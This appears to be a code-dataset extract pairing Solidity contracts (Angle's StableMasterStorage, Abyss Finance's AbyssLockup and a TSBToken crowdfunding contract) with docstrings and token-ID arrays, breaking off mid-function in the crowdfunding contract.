`PerpetualManager` // is calling `StableMaster` to get information // It is the Access Control equivalent for the `SanToken`, `PoolManager`, `PerpetualManager` and `FeeManager` // contracts associated to this `StableMaster` mapping(address => IPoolManager) internal _contractMap; // List of all collateral managers IPoolManager[] internal _managerList; // Reference to the `Core` contract of the protocol ICore internal _core; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; /// @title FunctionUtils /// @author Angle Core Team /// @notice Contains all the utility functions that are needed in different places of the protocol /// @dev Functions in this contract should typically be pure functions /// @dev This contract is voluntarily a contract and not a library to save some gas cost every time it is used contract FunctionUtils { /// @notice Base that is used to compute ratios and floating numbers uint256 public constant BASE_TOKENS = 10**18; /// @notice Base that is used to define parameters that need to have a floating value (for instance parameters /// that are defined as ratios) uint256 public constant BASE_PARAMS = 10**9; /// @notice Computes the value of a linear by part function at a given point /// @param x Point of the function we want to compute /// @param xArray List of breaking points (in ascending order) that define the linear by part function /// @param yArray List of values at breaking points (not necessarily in ascending order) /// @dev The evolution of the linear by part function between two breaking points is linear /// @dev Before the first breaking point and after the last one, the function is constant with a value /// equal to the first or last value of the yArray /// @dev This function is relevant if `x` is between O and `BASE_PARAMS`. If `x` is greater than that, then /// everything will be as if `x` is equal to the greater element of the `xArray` function _piecewiseLinear( uint64 x, uint64[] memory xArray, uint64[] memory yArray ) internal pure returns (uint64) { if (x >= xArray[xArray.length - 1]) { return yArray[xArray.length - 1]; } else if (x <= xArray[0]) { return yArray[0]; } else { uint256 lower; uint256 upper = xArray.length - 1; uint256 mid; while (upper - lower > 1) { mid = lower + (upper - lower) / 2; if (xArray[mid] <= x) { lower = mid; } else { upper = mid; } } if (yArray[upper] > yArray[lower]) { // There is no risk of overflow here as in the product of the difference of `y` // with the difference of `x`, the product is inferior to `BASE_PARAMS**2` which does not // overflow for `uint64` return yArray[lower] + ((yArray[upper] - yArray[lower]) * (x - xArray[lower])) / (xArray[upper] - xArray[lower]); } else { return yArray[lower] - ((yArray[lower] - yArray[upper]) * (x - xArray[lower])) / (xArray[upper] - xArray[lower]); } } } /// @notice Checks if the input arrays given by governance to update the fee structure is valid /// @param xArray List of breaking points (in ascending order) that define the linear by part function /// @param yArray List of values at breaking points (not necessarily in ascending order) /// @dev This function is a way to avoid some governance attacks or errors /// @dev The modifier checks if the arrays have a non null length, if their length is the same, if the values /// in the `xArray` are in ascending order and if the values in the `xArray` and in the `yArray` are not superior /// to `BASE_PARAMS` modifier onlyCompatibleInputArrays(uint64[] memory xArray, uint64[] memory yArray) { require(xArray.length == yArray.length && xArray.length > 0, "5"); for (uint256 i = 0; i <= yArray.length - 1; i++) { require(yArray[i] <= uint64(BASE_PARAMS) && xArray[i] <= uint64(BASE_PARAMS), "6"); if (i > 0) { require(xArray[i] > xArray[i - 1], "7"); } } _; } /// @notice Checks if the new value given for the parameter is consistent (it should be inferior to 1 /// if it corresponds to a ratio) /// @param fees Value of the new parameter to check modifier onlyCompatibleFees(uint64 fees) { require(fees <= BASE_PARAMS, "4"); _; } /// @notice Checks if the new address given is not null /// @param newAddress Address to check /// @dev Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation modifier zeroCheck(address newAddress) { require(newAddress != address(0), "0"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /// @title PausableMap /// @author Angle Core Team after a fork from OpenZeppelin's similar Pausable Contracts /// @notice Contract module which allows children to implement an emergency stop /// mechanism that can be triggered by an authorized account. /// @notice It generalizes Pausable from OpenZeppelin by allowing to specify a bytes32 that /// should be stopped /// @dev This module is used through inheritance /// @dev In Angle's protocol, this contract is mainly used in `StableMasterFront` /// to prevent SLPs and new stable holders from coming in /// @dev The modifiers `whenNotPaused` and `whenPaused` from the original OpenZeppelin contracts were removed /// to save some space and because they are not used in the `StableMaster` contract where this contract /// is imported contract PausableMapUpgradeable { /// @dev Emitted when the pause is triggered for `name` event Paused(bytes32 name); /// @dev Emitted when the pause is lifted for `name` event Unpaused(bytes32 name); /// @dev Mapping between a name and a boolean representing the paused state mapping(bytes32 => bool) public paused; /// @notice Triggers stopped state for `name` /// @param name Name for which to pause the contract /// @dev The contract must not be paused for `name` function _pause(bytes32 name) internal { require(!paused[name], "18"); paused[name] = true; emit Paused(name); } /// @notice Returns to normal state for `name` /// @param name Name for which to unpause the contract /// @dev The contract must be paused for `name` function _unpause(bytes32 name) internal { require(paused[name], "19"); paused[name] = false; emit Unpaused(name); } }
@title StableMasterStorage @author Angle Core Team @notice `StableMaster` is the contract handling all the collateral types accepted for a given stablecoin It does all the accounting and is the point of entry in the protocol for stable holders and seekers as well as SLPs @dev This file contains all the variables and parameters used in the `StableMaster` contract All the details about a collateral that are going to be stored in `StableMaster`
contract StableMasterStorage is StableMasterEvents, FunctionUtils { struct Collateral { IERC20 token; ISanToken sanToken; IPerpetualManager perpetualManager; IOracle oracle; uint256 stocksUsers; uint256 sanRate; uint256 collatBase; SLPData slpData; MintBurnData feeData; } mapping(IPoolManager => Collateral) public collateralMap; IAgToken public agToken; mapping(address => IPoolManager) internal _contractMap; IPoolManager[] internal _managerList; ICore internal _core; }
5,974,178
[ 1, 30915, 7786, 3245, 225, 24154, 4586, 10434, 225, 1375, 30915, 7786, 68, 353, 326, 6835, 5057, 777, 326, 4508, 2045, 287, 1953, 8494, 364, 279, 864, 14114, 12645, 2597, 1552, 777, 326, 2236, 310, 471, 353, 326, 1634, 434, 1241, 316, 326, 1771, 364, 14114, 366, 4665, 471, 6520, 414, 487, 5492, 487, 348, 14461, 87, 225, 1220, 585, 1914, 777, 326, 3152, 471, 1472, 1399, 316, 326, 1375, 30915, 7786, 68, 6835, 4826, 326, 3189, 2973, 279, 4508, 2045, 287, 716, 854, 8554, 358, 506, 4041, 316, 1375, 30915, 7786, 68, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 934, 429, 7786, 3245, 353, 934, 429, 7786, 3783, 16, 4284, 1989, 288, 203, 203, 565, 1958, 17596, 2045, 287, 288, 203, 3639, 467, 654, 39, 3462, 1147, 31, 203, 3639, 4437, 304, 1345, 272, 304, 1345, 31, 203, 3639, 467, 2173, 6951, 1462, 1318, 1534, 6951, 1462, 1318, 31, 203, 3639, 1665, 16873, 20865, 31, 203, 3639, 2254, 5034, 12480, 87, 6588, 31, 203, 3639, 2254, 5034, 272, 304, 4727, 31, 203, 3639, 2254, 5034, 4508, 270, 2171, 31, 203, 3639, 348, 14461, 751, 2020, 84, 751, 31, 203, 3639, 490, 474, 38, 321, 751, 14036, 751, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 565, 2874, 12, 2579, 1371, 1318, 516, 17596, 2045, 287, 13, 1071, 4508, 2045, 287, 863, 31, 203, 565, 467, 2577, 1345, 1071, 1737, 1345, 31, 203, 565, 2874, 12, 2867, 516, 467, 2864, 1318, 13, 2713, 389, 16351, 863, 31, 203, 565, 467, 2864, 1318, 8526, 2713, 389, 4181, 682, 31, 203, 565, 467, 4670, 2713, 389, 3644, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* ░█████╗░██████╗░██╗░░░██╗░██████╗░██████╗  ███████╗██╗███╗░░██╗░█████╗░███╗░░██╗░█████╗░███████╗ ██╔══██╗██╔══██╗╚██╗░██╔╝██╔════╝██╔════╝  ██╔════╝██║████╗░██║██╔══██╗████╗░██║██╔══██╗██╔════╝ ███████║██████╦╝░╚████╔╝░╚█████╗░╚█████╗░  █████╗░░██║██╔██╗██║███████║██╔██╗██║██║░░╚═╝█████╗░░ ██╔══██║██╔══██╗░░╚██╔╝░░░╚═══██╗░╚═══██╗  ██╔══╝░░██║██║╚████║██╔══██║██║╚████║██║░░██╗██╔══╝░░ ██║░░██║██████╦╝░░░██║░░░██████╔╝██████╔╝  ██║░░░░░██║██║░╚███║██║░░██║██║░╚███║╚█████╔╝███████╗ ╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░╚═════╝░╚═════╝░  ╚═╝░░░░░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚══╝░╚════╝░╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../contracts/interfaces/IAbyssLockup.sol"; /** * Abyss Finance's AbyssLockup Contract * A smart contract that stores tokens requested for withdrawal, as well as through which tokens are transferred from/to user and between contracts. */ contract AbyssLockup is IAbyssLockup, Ownable { using SafeERC20 for IERC20; address public safeContract1; address public safeContract3; address public safeContract7; address public safeContract14; address public safeContract21; address public safeContract28; address public safeContract90; address public safeContract180; address public safeContract365; uint256 private _freeDeposits; struct Token { uint256 deposited; uint256 divFactor; } mapping (address => Token) private _tokens; constructor(uint256 freeDeposits_) { _freeDeposits = freeDeposits_; } // VIEW FUNCTIONS /** * @dev See {IAbyssLockup-deposited}. */ function deposited(address token) external override view returns (uint256) { return _tokens[token].deposited; } /** * @dev See {IAbyssLockup-divFactor}. */ function divFactor(address token) external override view returns (uint256) { return _tokens[token].divFactor; } /** * @dev See {IAbyssLockup-freeDeposits}. */ function freeDeposits() public override view returns (uint256) { return _freeDeposits; } // ACTION FUNCTIONS /** * @dev See {IAbyssLockup-externalTransfer}. */ function externalTransfer(address token, address sender, address recipient, uint256 amount, uint256 abyssRequired) external override onlyContract(msg.sender) returns (bool) { require(address(token) != address(0) && address(sender) != address(0) && address(recipient) != address(0), "AbyssLockup: variables cannot be 0"); if (sender == address(this)) { IERC20(address(token)).safeTransfer(recipient, amount); } else { if (recipient != address(this) && abyssRequired > 0 && _freeDeposits > 0) { _freeDeposits = _freeDeposits - 1; } IERC20(address(token)).safeTransferFrom(sender, recipient, amount); } emit ExternalTransfer(msg.sender, token, sender, recipient, amount); return true; } function resetData(address token) external override onlyContract(msg.sender) returns (bool) { require(address(token) != address(0), "AbyssLockup: variable cannot be 0"); delete _tokens[token].deposited; delete _tokens[token].divFactor; emit ResetData(msg.sender, token); return true; } function updateData(address token, uint256 balance, uint256 divFactor_) external override onlyContract(msg.sender) returns (bool) { require(address(token) != address(0), "AbyssLockup: variable cannot be 0"); _tokens[token].deposited = balance; if (divFactor_ == 1) { delete _tokens[token].divFactor; } else if (divFactor_ > 0) { _tokens[token].divFactor = divFactor_; } emit UpdateData(msg.sender, token, balance, divFactor_); return true; } // ADMIN FUNCTIONS /** * @dev See {IAbyssLockup-setup}. */ function setup(uint256 freeDeposits__) external override onlyOwner returns (bool) { _freeDeposits = freeDeposits__; emit Setup(msg.sender, freeDeposits__); return true; } /** * @dev See {IAbyssLockup-initialize}. */ function initialize(address safe1, address safe3, address safe7, address safe14, address safe21, address safe28, address safe90, address safe180, address safe365) external override onlyOwner returns (bool) { require(address(safe1) != address(0) && address(safe3) != address(0) && address(safe7) != address(0) && address(safe14) != address(0) && address(safe21) != address(0) && address(safe28) != address(0) && address(safe90) != address(0) && address(safe180) != address(0) && address(safe365) != address(0), "AbyssLockup: variables cannot be 0"); require(address(safeContract1) == address(0), "AbyssLockup: already initialized"); safeContract1 = safe1; safeContract3 = safe3; safeContract7 = safe7; safeContract14 = safe14; safeContract21 = safe21; safeContract28 = safe28; safeContract90 = safe90; safeContract180 = safe180; safeContract365 = safe365; emit Initialize(msg.sender, safe1, safe3, safe7, safe14, safe21, safe28, safe90, safe180, safe365); return true; } /** * @dev See {IAbyssLockup-withdrawLostTokens}. */ function withdrawLostTokens(address token) external override onlyOwner returns (bool) { require(address(token) != address(0), "AbyssLockup: variable cannot be 0"); uint256 _tempBalance = IERC20(address(token)).balanceOf(address(this)); if (_tokens[token].deposited == 0 && _tempBalance > 0) { SafeERC20.safeTransfer(IERC20(address(token)), msg.sender, _tempBalance); emit WithdrawLostTokens(msg.sender, token, _tempBalance); } return true; } /** * @dev Modifier that allows usage only for `safeContract` smart contracts */ modifier onlyContract(address account) { require(account == address(safeContract1) || account == address(safeContract3) || account == address(safeContract7) || account == address(safeContract14) || account == address(safeContract21) || account == address(safeContract28) || account == address(safeContract90) || account == address(safeContract180) || account == address(safeContract365), "AbyssLockup: restricted area"); _; } }
* @dev See {IAbyssLockup-freeDeposits}./
function freeDeposits() public override view returns (uint256) { return _freeDeposits; }
6,395,829
[ 1, 9704, 288, 15188, 1637, 1049, 2531, 416, 17, 9156, 758, 917, 1282, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4843, 758, 917, 1282, 1435, 1071, 3849, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 9156, 758, 917, 1282, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply() constant returns (uint totalSupply); function balanceOf(address _owner) constant returns (uint balance); function transfer(address _to, uint _value) returns (bool success); function transferFrom(address _from, address _to, uint _value) returns (bool success); function approve(address _spender, uint _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint remaining); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } //Token with owner (admin) contract OwnedToken { address public owner; //contract owner (admin) address function OwnedToken () public { owner = msg.sender; } //Check if owner initiate call modifier onlyOwner() { require(msg.sender == owner); _; } /** * Transfer ownership * * @param newOwner The address of the new contract owner */ function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } //Contract with name contract NamedOwnedToken is OwnedToken { string public name; //the name for display purposes string public symbol; //the symbol for display purposes function NamedOwnedToken(string tokenName, string tokenSymbol) public { name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Change name and symbol * * @param newName The new contract name * @param newSymbol The new contract symbol */ function changeName(string newName, string newSymbol)public onlyOwner { name = newName; symbol = newSymbol; } } contract TSBToken is ERC20, NamedOwnedToken { using SafeMath for uint256; // Public variables of the token uint256 public _totalSupply = 0; //Total number of token issued (1 token = 10^decimals) uint8 public decimals = 18; //Decimals, each 1 token = 10^decimals mapping (address => uint256) public balances; // A map with all balances mapping (address => mapping (address => uint256)) public allowed; //Implement allowence to support ERC20 mapping (address => uint256) public paidETH; //The sum have already been paid to token owner uint256 public accrueDividendsPerXTokenETH = 0; uint256 public tokenPriceETH = 0; mapping (address => uint256) public paydCouponsETH; uint256 public accrueCouponsPerXTokenETH = 0; uint256 public totalCouponsUSD = 0; uint256 public MaxCouponsPaymentUSD = 150000; mapping (address => uint256) public rebuySum; mapping (address => uint256) public rebuyInformTime; uint256 public endSaleTime; uint256 public startRebuyTime; uint256 public reservedSum; bool public rebuyStarted = false; uint public tokenDecimals; uint public tokenDecimalsLeft; /** * Constructor function * * Initializes contract */ function TSBToken( string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public { tokenDecimals = 10**uint256(decimals - 5); tokenDecimalsLeft = 10**5; startRebuyTime = now + 1 years; endSaleTime = now; } /** * Internal function, calc dividends to transfer when tokens are transfering to another wallet */ function transferDiv(uint startTokens, uint fromTokens, uint toTokens, uint sumPaydFrom, uint sumPaydTo, uint acrued) internal constant returns (uint, uint) { uint sumToPayDividendsFrom = fromTokens.mul(acrued); uint sumToPayDividendsTo = toTokens.mul(acrued); uint sumTransfer = sumPaydFrom.div(startTokens); sumTransfer = sumTransfer.mul(startTokens-fromTokens); if (sumPaydFrom > sumTransfer) { sumPaydFrom -= sumTransfer; if (sumPaydFrom > sumToPayDividendsFrom) { sumTransfer += sumPaydFrom - sumToPayDividendsFrom; sumPaydFrom = sumToPayDividendsFrom; } } else { sumTransfer = sumPaydFrom; sumPaydFrom = 0; } sumPaydTo = sumPaydTo.add(sumTransfer); if (sumPaydTo > sumToPayDividendsTo) { uint differ = sumPaydTo - sumToPayDividendsTo; sumPaydTo = sumToPayDividendsTo; sumPaydFrom = sumPaydFrom.add(differ); if (sumPaydFrom > sumToPayDividendsFrom) { sumPaydFrom = sumToPayDividendsFrom; } } return (sumPaydFrom, sumPaydTo); } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require(balances[_from] >= _value); // Check if the sender has enough require(balances[_to] + _value > balances[_to]); // Check for overflows uint startTokens = balances[_from].div(tokenDecimals); balances[_from] -= _value; // Subtract from the sender balances[_to] += _value; // Add the same to the recipient if (balances[_from] == 0) { paidETH[_to] = paidETH[_to].add(paidETH[_from]); } else { uint fromTokens = balances[_from].div(tokenDecimals); uint toTokens = balances[_to].div(tokenDecimals); (paidETH[_from], paidETH[_to]) = transferDiv(startTokens, fromTokens, toTokens, paidETH[_from], paidETH[_to], accrueDividendsPerXTokenETH+accrueCouponsPerXTokenETH); } Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Balance of tokens * * @param _owner The address of token wallet */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * Returns total issued tokens number * */ function totalSupply() public constant returns (uint totalSupply) { return _totalSupply; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; return true; } /** * Check allowance for address * * @param _owner The address who authorize to spend * @param _spender The address authorized to spend */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Internal function destroy tokens */ function burnTo(uint256 _value, address adr) internal returns (bool success) { require(balances[adr] >= _value); // Check if the sender has enough require(_value > 0); // Check if the sender has enough uint startTokens = balances[adr].div(tokenDecimals); balances[adr] -= _value; // Subtract from the sender uint endTokens = balances[adr].div(tokenDecimals); uint sumToPayFrom = endTokens.mul(accrueDividendsPerXTokenETH + accrueCouponsPerXTokenETH); uint divETH = paidETH[adr].div(startTokens); divETH = divETH.mul(endTokens); if (divETH > sumToPayFrom) { paidETH[adr] = sumToPayFrom; } else { paidETH[adr] = divETH; } _totalSupply -= _value; // Updates totalSupply Burn(adr, _value); return true; } /** * Delete tokens tokens during the end of croudfunding * (in case of errors made by crowdfnuding participants) * Only owner could call */ function deleteTokens(address adr, uint256 amount) public onlyOwner canMint { burnTo(amount, adr); } bool public mintingFinished = false; event Mint(address indexed to, uint256 amount); event MintFinished(); //Check if it is possible to mint new tokens (mint allowed only during croudfunding) modifier canMint() { require(!mintingFinished); _; } function () public payable { } //Withdraw unused ETH from contract to owner function WithdrawLeftToOwner(uint sum) public onlyOwner { owner.transfer(sum); } /** * Mint additional tokens at the end of croudfunding */ function mintToken(address target, uint256 mintedAmount) public onlyOwner canMint { balances[target] += mintedAmount; uint tokensInX = mintedAmount.div(tokenDecimals); paidETH[target] += tokensInX.mul(accrueDividendsPerXTokenETH + accrueCouponsPerXTokenETH); _totalSupply += mintedAmount; Mint(owner, mintedAmount); Transfer(0x0, target, mintedAmount); } /** * Finish minting */ function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; endSaleTime = now; startRebuyTime = endSaleTime + (180 * 1 days); MintFinished(); return true; } /** * Withdraw accrued dividends and coupons */ function WithdrawDividendsAndCoupons() public { withdrawTo(msg.sender,0); } /** * Owner could initiate a withdrawal of accrued dividends and coupons to some address (in purpose to help users) */ function WithdrawDividendsAndCouponsTo(address _sendadr) public onlyOwner { withdrawTo(_sendadr, tx.gasprice * block.gaslimit); } /** * Internal function to withdraw accrued dividends and coupons */ function withdrawTo(address _sendadr, uint comiss) internal { uint tokensPerX = balances[_sendadr].div(tokenDecimals); uint sumPayd = paidETH[_sendadr]; uint sumToPayRes = tokensPerX.mul(accrueCouponsPerXTokenETH+accrueDividendsPerXTokenETH); uint sumToPay = sumToPayRes.sub(comiss); require(sumToPay>sumPayd); sumToPay = sumToPay.sub(sumPayd); _sendadr.transfer(sumToPay); paidETH[_sendadr] = sumToPayRes; } /** * Owner accrue new sum of dividends and coupons (once per month) */ function accrueDividendandCoupons(uint sumDivFinney, uint sumFinneyCoup) public onlyOwner { sumDivFinney = sumDivFinney * 1 finney; sumFinneyCoup = sumFinneyCoup * 1 finney; uint tokens = _totalSupply.div(tokenDecimals); accrueDividendsPerXTokenETH = accrueDividendsPerXTokenETH.add(sumDivFinney.div(tokens)); accrueCouponsPerXTokenETH = accrueCouponsPerXTokenETH.add(sumFinneyCoup.div(tokens)); } /** * Set a price of token to rebuy */ function setTokenPrice(uint priceFinney) public onlyOwner { tokenPriceETH = priceFinney * 1 finney; } event RebuyInformEvent(address indexed adr, uint256 amount); /** * Inform owner that someone whant to sell tokens * The rebuy proccess allowed in 2 weeks after inform * Only after half a year after croudfunding */ function InformRebuy(uint sum) public { _informRebuyTo(sum, msg.sender); } function InformRebuyTo(uint sum, address adr) public onlyOwner{ _informRebuyTo(sum, adr); } function _informRebuyTo(uint sum, address adr) internal{ require (rebuyStarted || (now >= startRebuyTime)); require (sum <= balances[adr]); rebuyInformTime[adr] = now; rebuySum[adr] = sum; RebuyInformEvent(adr, sum); } /** * Owner could allow rebuy proccess early */ function StartRebuy() public onlyOwner{ rebuyStarted = true; } /** * Sell tokens after 2 weeks from information */ function doRebuy() public { _doRebuyTo(msg.sender, 0); } /** * Contract owner would perform tokens rebuy after 2 weeks from information */ function doRebuyTo(address adr) public onlyOwner { _doRebuyTo(adr, tx.gasprice * block.gaslimit); } function _doRebuyTo(address adr, uint comiss) internal { require (rebuyStarted || (now >= startRebuyTime)); require (now >= rebuyInformTime[adr].add(14 days)); uint sum = rebuySum[adr]; require (sum <= balances[adr]); withdrawTo(adr, 0); if (burnTo(sum, adr)) { sum = sum.div(tokenDecimals); sum = sum.mul(tokenPriceETH); sum = sum.div(tokenDecimalsLeft); sum = sum.sub(comiss); adr.transfer(sum); rebuySum[adr] = 0; } } } contract TSBCrowdFundingContract is NamedOwnedToken{ using SafeMath for uint256; enum CrowdSaleState {NotFinished, Success, Failure} CrowdSaleState public crowdSaleState = CrowdSaleState.NotFinished; uint public fundingGoalUSD = 200000; //Min cap uint public fundingMaxCapUSD = 500000; //Max cap uint public priceUSD = 1; //Price in USD per 1 token uint public USDDecimals = 1 ether; uint public startTime; //crowdfunding start time uint public endTime; //crowdfunding end time uint public bonusEndTime; //crowdfunding end of bonus time uint public selfDestroyTime = 2 weeks; TSBToken public tokenReward; //TSB Token to send uint public ETHPrice = 30000; //Current price of one ETH in USD cents uint public BTCPrice = 400000; //Current price of one BTC in USD cents uint public PriceDecimals = 100; uint public ETHCollected = 0; //Collected sum of ETH uint public BTCCollected = 0; //Collected sum of BTC uint public amountRaisedUSD = 0; //Collected sum in USD uint public TokenAmountToPay = 0; //Number of tokens to distribute (excluding bonus tokens) mapping(address => uint256) public balanceMapPos; struct mapStruct { address mapAddress; uint mapBalanceETH; uint mapBalanceBTC; uint bonusTokens; } mapStruct[] public balanceList; //Array of struct with information about invested sums uint public bonusCapUSD = 100000; //Bonus cap mapping(bytes32 => uint256) public bonusesMapPos; struct bonusStruct { uint balancePos; bool notempty; uint maxBonusETH; uint maxBonusBTC; uint bonusETH; uint bonusBTC; uint8 bonusPercent; } bonusStruct[] public bonusesList; //Array of struct with information about bonuses bool public fundingGoalReached = false; bool public crowdsaleClosed = false; event GoalReached(address beneficiary, uint amountRaised); event FundTransfer(address backer, uint amount, bool isContribution); function TSBCrowdFundingContract( uint _startTime, uint durationInHours, string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public { // require(_startTime >= now); SetStartTime(_startTime, durationInHours); bonusCapUSD = bonusCapUSD * USDDecimals; } function SetStartTime(uint startT, uint durationInHours) public onlyOwner { startTime = startT; bonusEndTime = startT+ 24 hours; endTime = startT + (durationInHours * 1 hours); } function assignTokenContract(address tok) public onlyOwner { tokenReward = TSBToken(tok); tokenReward.transferOwnership(address(this)); } function () public payable { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; require( withinPeriod && nonZeroPurchase && (crowdSaleState == CrowdSaleState.NotFinished)); uint bonuspos = 0; if (now <= 